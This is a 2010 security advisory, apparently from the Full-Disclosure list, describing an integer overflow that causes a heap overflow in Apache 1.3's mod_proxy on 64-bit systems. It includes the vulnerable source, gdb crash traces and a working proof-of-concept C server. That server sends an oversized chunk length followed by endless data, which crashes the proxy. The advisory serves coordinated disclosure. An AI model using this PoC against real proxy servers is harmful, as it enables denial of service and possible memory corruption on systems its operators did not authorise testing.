Name: Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow. Author: Adam Zabrocki (<p...@itsec.pl> or <zabro...@cern.ch>) Date: Jan 27, 2010
Issue: Mod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers to overflow buffer on heap via integer overflow vulnerability. Description: Mod_proxy implements a proxy/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL), HTTP/0.9, HTTP/1.0, and (as of Apache 1.3.23) HTTP/1.1. The module can be configured to connect to other proxy modules for these and other protocols. Details: Let's look in code: "./src/modules/proxy/proxy_util.c" long int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size) { ... size_t buf_size; long remaining = 0; ... for (end_of_chunk = ok = 1; ok;) { ... if (chunked) { long chunk_start = 0; n = 0; /* start of a new chunk */ if (end_of_chunk) { end_of_chunk = 0; /* get the chunk size from the stream */ chunk_start = ap_getline(buf, buf_size, f, 0); <---------------- [0] reading line from traffic (socket) if ((chunk_start <= 0) || ((size_t)chunk_start + 1 >= buf_size) || !ap_isxdigit(*buf)) { n = -1; } /* parse the chunk size */ else { remaining = ap_get_chunk_size(buf); <---------------- [1] convert readed data to 'long' size! if (remaining == 0) { /* Last chunk indicated, get footers */ ... ... } } else if (remaining < 0) { n = -1; ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r, "proxy: remote protocol error, invalid chunk size"); } } } /* read the chunk */ if (remaining > 0) { n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining)); <------------- [2] convert 'long' to 'int' !!!! if (n > -1) { remaining -= n; end_of_chunk = (remaining == 0); } } ... ... } OK. We have simple flow in this code: -> server read header -> if it is chunked connection -> [0] server will wait and then read data from socket (size of the chunk) -> simple check what server received -> [1] convert received data to 'long' type -> if there is possitive chunk size -> [2] directly convert 'long' to 'int' type <- here is integer overflow bug in amd64 architecture !!! -> copy data using converted type Vulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'. On 64 bits architectures: long - 8 bytes int - 4 bytes When we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes. OK. Let's find calls to this vulnerable function: ./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE); ./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE); ./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, r->header_only, 0, IOBUFSIZE); ./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(cachefp, r, NULL, c->len, 0, 0, IOBUFSIZE); ./src/modules/proxy/proxy_ftp.c: ap_proxy_send_fb(data, r, c, -1, 0, 0, conf->io_buffer_size); ./src/modules/proxy/proxy_http.c: ap_proxy_send_fb(f, r, c, c->len, 0, chunked != NULL, I was testing mod_proxy for http configuration. How it works in details? client ---------> Server < -- (mod_proxy_XXX) -- > Other server ^ | | -> CACHE (proxy cache) Proof of Concept which I attached to this advisory causes vulnerability in connection: Server < ---- > Other server ... but as we can see (calls to vuln function) probably there is some opportunity to trigger this vulnerability from CACHE (proxy cache). In real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful to attack server behind other servers... but... everyone knows probably better vectors :) Proof of concept [r...@pi3-test apache]# gdb -q ./bin/httpd (gdb) r -X Starting program: /usr/local/apache/bin/httpd -X [Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName Program received signal SIGSEGV, Segmentation fault. 0x0000003fec682958 in memcpy () from /lib64/libc.so.6 Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64 (gdb) bt #0 0x0000003fec682958 in memcpy () from /lib64/libc.so.6 #1 0x000000000043083c in inet_addr () #2 0x000000000042a796 in inet_addr () #3 0x000000000042975f in inet_addr () #4 0x000000000041d8f5 in inet_addr () #5 0x0000000000432a29 in inet_addr () #6 0x000000000044bc88 in inet_addr () #7 0x000000000044bceb in inet_addr () #8 0x0000000000441344 in inet_addr () #9 0x0000000000441521 in inet_addr () #10 0x00000000004416a7 in inet_addr () #11 0x0000000000441f5f in inet_addr () #12 0x0000000000442820 in inet_addr () #13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6 #14 0x0000000000403399 in inet_addr () #15 0x00007fffffffe618 in ?? () #16 0x000000000000001c in ?? () #17 0x0000000000000002 in ?? () #18 0x00007fffffffe87d in ?? () #19 0x00007fffffffe899 in ?? () #20 0x0000000000000000 in ?? () (gdb) x/i $rip 0x3fec682958 <memcpy+792>: mov %r11,0x20(%rdi) (gdb) i r rdi rdi 0x6d1fde 7151582 (gdb) i r r11 r11 0x0 0 (gdb) OK. Let's do the same with debug symbols: [r...@pi3-test apache_1.3.41]# gdb -q ./src/httpd (gdb) r -X Starting program: /root/mod_proxy/apache_1.3.41/src/httpd -X [Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName Program received signal SIGSEGV, Segmentation fault. 0x0000003fec682958 in memcpy () from /lib64/libc.so.6 Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64 (gdb) bt #0 0x0000003fec682958 in memcpy () from /lib64/libc.so.6 #1 0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776 #2 0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1, nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536 #3 0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0, url=0x6bacae "http://127.0.0.1/", proxyhost=0x0, proxyport=0) at proxy_http.c:636 #4 0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395 #5 0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476 #6 0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299 #7 0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315 #8 0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885 #9 0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000 #10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083 #11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430 #12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773 (gdb) up #1 0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776 776 memcpy(buf, fb->inptr, nbyte); (gdb) print nbyte $1 = -65536 (gdb) print (unsigned int)nbyte $2 = 4294901760 (gdb) list 771 #ifdef CHARSET_EBCDIC 772 if (fb->flags & B_ASCII2EBCDIC) 773 ascii2ebcdic(buf, fb->inptr, nbyte); 774 else 775 #endif /*CHARSET_EBCDIC*/ 776 memcpy(buf, fb->inptr, nbyte); 777 fb->incnt = nrd - nbyte; 778 fb->inptr += nbyte; 779 return nbyte; 780 } --- server.c --- #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <netinet/in.h> #include <pthread.h> #include <errno.h> #include <netdb.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <sys/stat.h> #include <arpa/inet.h> #include <unistd.h> #include <fcntl.h> #define PORT 80 #define sys_err(x) \ do { \ fprintf(stderr,"%s",x); \ exit(-1); \ } while(0) void *parse_me(void *arg); int main(int argc, char *argv[]) { int r_sock,connfd,tmp,tmp2; struct sockaddr_in saddr; pthread_t bo_tak; struct stat statbuf; if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) sys_err("Socket()!\n"); tmp=sizeof(struct sockaddr_in); memset(&saddr,0x0,tmp); saddr.sin_family = PF_INET; saddr.sin_port = htons(PORT); saddr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1) sys_err("Bind()!\n"); if ( (listen(r_sock,0x666)) != 0) sys_err("Listen()!\n"); pierw_p: while (1) { if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) { if (errno == EINTR) goto pierw_p; else sys_err("Accept()!\n"); } if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0)) sys_err("Accept() => Blad przy tworzeniu watku! Wychodze..."); } } void *parse_me(void *arg) { int sock = (int)arg; char buf[4096]; char *head = "HTTP/1.1 200 OK\r\n" "Date: Sat, 66 Dec 666 23:56:50 GMT\r\n" "Server: pi3 (pi3 OS)\r\n" "X-Powered-By: pi3\r\n" "Connection: close\r\n" "Transfer-Encoding: chunked\r\n" "Content-Type: text/html; charset=UTF-8\r\n\r\n"; memset(buf,0x0,4096); read(sock,buf,4096); write(sock,head,strlen(head)); write(sock,"10000000FFFF0000\n",17); while(1) write(sock,"A",1); } --- EOF --- Greets +) Kochana Ewa :* :) +) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl, guys from SecurityReason, #lam...@ircnet and #plh...@ircnet +) Colm MacCárthaigh from apache security team. Disclaimer This document and all the information it contains is provided "as is", without any warranty. The author is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. Ending words... That's all. I have tested it on/with latest apache version - 1.3.41. Probably all versions 1.3.xx are vulnerability. - Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny). BUGFIX: Fix is available in a forthcoming version of Apache 1.3.x. Disclosure Timeline *) 27 Jan, 2010 - release advisory ... *) 06 Jan, 2010 - release patch ... ... *) 30 Dec, 2009 - contact with vendor *) 24 Dec, 2009 - exploit bug and write advisory *) 04 Sept, 2009 - found bug -- http://pi3.com.pl _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/